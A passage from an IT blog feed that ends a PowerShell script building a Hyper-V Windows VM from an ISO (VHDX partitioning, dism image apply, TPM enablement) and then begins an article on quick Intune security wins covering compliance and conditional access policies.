<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$iso </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$WindowsISO</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.iso"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$imagePath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">.wim"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># extract .wim file from windows .iso</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$DiskImage </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Mount-DiskImage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ImagePath $iso </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">StorageType ISO </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">PassThru</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">push-Location</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">((</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">DiskImage </span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$DiskImage</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">).driveletter)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># read files with the usual filesystem commands</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Copy-Item</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> ".\sources\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Destination $Folder</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">#Pop-Location</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Dismount-DiskImage</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DevicePath $DiskImage.DevicePath</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Create a new VHDX file</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-VHD</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $vhdPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">SizeBytes $vhdsize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Dynamic</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Mount the VHDX file</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Mount-VHD</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Path $vhdPath</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Get the disk number of the mounted VHDX</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$disk </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Get-Disk</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Where-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> IsOffline </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-eq</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> $false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> |</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Sort-Object</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">|</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> Select-Object</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Last </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Initialize the disk</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Initialize-Disk</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Number $disk.Number</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Creates the four needed Windows partitions and formats them to Microsofts best practice</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$system_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">100</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{c12a7328-f81f-11d2-ba4b-00a0c93ec93b}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $system_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"System"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem Fat32 </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$ms_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">16</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{e3c9e316-0b5c-4db8-817d-f92df00215ae}"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$recovery_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">size </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">500</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">MB</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{de94bba4-06d1-4d40-a16a-bfd50179d6ac}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $recovery_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Recovery"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem NTFS </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> New-Partition</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DiskNumber $disk.Number </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">UseMaximumSize </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">AssignDriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">GptType </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"{ebd0a0a2-b9e5-4433-87c0-68b6b72699c7}"</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Format-Volume</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">DriveLetter $windows_part.DriveLetter </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewFileSystemLabel </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"Windows"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FileSystem NTFS </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Confirm:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">$false</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># apply Image to VM Disk</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">dism </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Apply</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Image </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">/</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ImageFile:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Index:</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">1</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> /</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ApplyDir:</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Copies the System Boot files to the System partition</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-Process</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NoNewWindow </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">FilePath </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\Windows\System32\bcdboot"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">ArgumentList </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$windows_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:\Windows /s </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$system_part.DriveLetter</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">:"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Ingages a small delay to ensure the boot files are copied to the system partition because of the external process thats started</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">start-sleep</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">seconds </span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">10</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Dismounts the VHDX file</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">dismount-vhd</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path $vhdpath</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Removes the copied Windows install.wim Image</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">remove-item</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">path </span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\install.wim"</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">force</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># VM creation</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VM </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> @</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Name </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $VMName</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     MemoryStartupBytes </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 8589934592</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Generation </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     BootDevice </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "VHD"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     Path </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$Folder</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">$</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">(</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">$VMName</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">)</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     SwitchName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Get-VMSwitch</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">).Name[</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">0</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     VHDPath </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> $vhdpath</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">     GuestStateIsolationType </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "TrustedLaunch"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">New-VM</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> @VM</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Set KeyProtector and Enable TPM on VM so Autopilot is possible</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Set-VMKeyProtector</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">VMName $VMName </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">-</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">NewLocalKeyProtector</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Enable-VMTPM</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">VMName $VMName</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D"># Start and connects to VM</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">Start-VM</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">Name $VMName</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">vmconnect.exe</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> localhost $vmname</span></span></code></pre>
</div>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Quick Wins to improve your security posture | Intune]]></title>
            <link>https://michaelsendpoint.com/intune/quick_secure.html</link>
            <guid>https://michaelsendpoint.com/intune/quick_secure.html</guid>
            <pubDate>Sat, 12 Oct 2024 20:29:55 GMT</pubDate>
            <description><![CDATA[Quick Wins to improve your security posture with Intune]]></description>
            <content:encoded><![CDATA[<h1 id="quick-wins-to-improve-your-security-posture-with-intune" tabindex="-1">Quick Wins to improve your security posture with Intune <a class="header-anchor" href="#quick-wins-to-improve-your-security-posture-with-intune" aria-label="Permalink to &quot;Quick Wins to improve your security posture with Intune&quot;">&ZeroWidthSpace;</a></h1>
<p>Improving your organisation's security posture can seem daunting, but with Microsoft Intune, you can make significant improvements with a few strategic configurations.
Here are some quick wins to get you started.</p>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>You can refine the following policies to meet the specific needs of your organisation.<br>
The policies shown are a baseline that can be achieved with minimal disruption to your organisation.</p>
</div>
<h2 id="_1-set-up-compliance-policy" tabindex="-1">1. Set Up Compliance Policy <a class="header-anchor" href="#_1-set-up-compliance-policy" aria-label="Permalink to &quot;1. Set Up Compliance Policy&quot;">&ZeroWidthSpace;</a></h2>
<p>Creating and enforcing compliance policies is a fundamental step in securing your devices. Compliance policies define the rules and settings that a device must comply with to be considered secure.
Here's how to set up a policy that checks that your devices meet these minimum requirements:</p>
<ul>
<li>Windows 10 22H2</li>
<li>A Firewall enabled</li>
<li>An Antivirus enabled</li>
<li>An Antispyware enabled</li>
</ul>
<p>&nbsp;</p>
<ol>
<li>Open the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a>.</li>
<li>Navigate to 'Devices' -&gt; 'Manage devices' -&gt; 'Compliance' -&gt; 'Create policy'.</li>
<li>Select your platform, click 'Create' and enter a Name for your policy.</li>
<li>In the 'Compliance settings' tab, select the 'Device Properties' and 'System Security' settings shown in the screenshots below.</li>
</ol>
<img src="\intune_quick_secure\device_properties.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune_quick_secure\system_security.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="5">
<li>When this is done, leave the 'Actions for non-compliance' tab as it is.</li>
<li>Next, assign the policy to all devices and create the policy.</li>
</ol>
<img src="\intune_quick_secure\actions_noncompliance.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>Then select the 'Compliance settings' tab and check the 'Require devices with no compliance policy assigned as' box.</li>
</ol>
<img src="\intune_quick_secure\compliance_settings.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="_2-conditional-access-policies" tabindex="-1">2. Conditional Access Policies <a class="header-anchor" href="#_2-conditional-access-policies" aria-label="Permalink to &quot;2. Conditional Access Policies&quot;">&ZeroWidthSpace;</a></h2>
<p>Conditional access policies help you control access to your organisation's resources based on conditions you define.
By implementing conditional access policies, you can block non-compliant devices and enforce more secure authentication methods.
To set this up, we use the new templates provided by Microsoft to achieve a baseline level of security:</p>
<div class="warning custom-block"><p class="custom-block-title">WARNING</p>
<p>The following policies, when switched to <strong>ON</strong>, have a potentially huge impact on the access your users have to your resources.<br>
To take the first step and minimize the risk to your environment, start with the <strong>'Require compliant or hybrid Azure AD joined device or multifactor authentication for all users'</strong> policy.
This will ensure that, at a minimum, your compliance policy (created above) is enforced, the device is hybrid joined, or MFA is used.<br>
In practice, this means that your users can only log in to your cloud applications (e.g. Teams, Outlook, etc.) when they are using one of the following:</p>
<ul>
<li>at least Windows 10 22H2</li>
<li>have a Firewall enabled</li>
<li>have an AntiVirus solution enabled</li>
<li>and an Antispyware enabled</li>
</ul>
<p>to be compliant<br></p>
<ul>
<li>or they nead a Hybrid joined device<br></li>
<li>or use Multifactor authentication.</li>
</ul>
</div>
<div class="tip custom-block"><p class="custom-block-title">TIP</p>
<p>It is highly recommended that you start by using all of the conditional access policies listed under <strong>Secure foundation</strong>.<br>
But don't do too much at once, and start with the policy outlined in the box above.<br></p>
</div>
<ol>
<li>Open the <a href="https://intune.microsoft.com" target="_blank" rel="noreferrer">Microsoft Intune admin center</a>.</li>
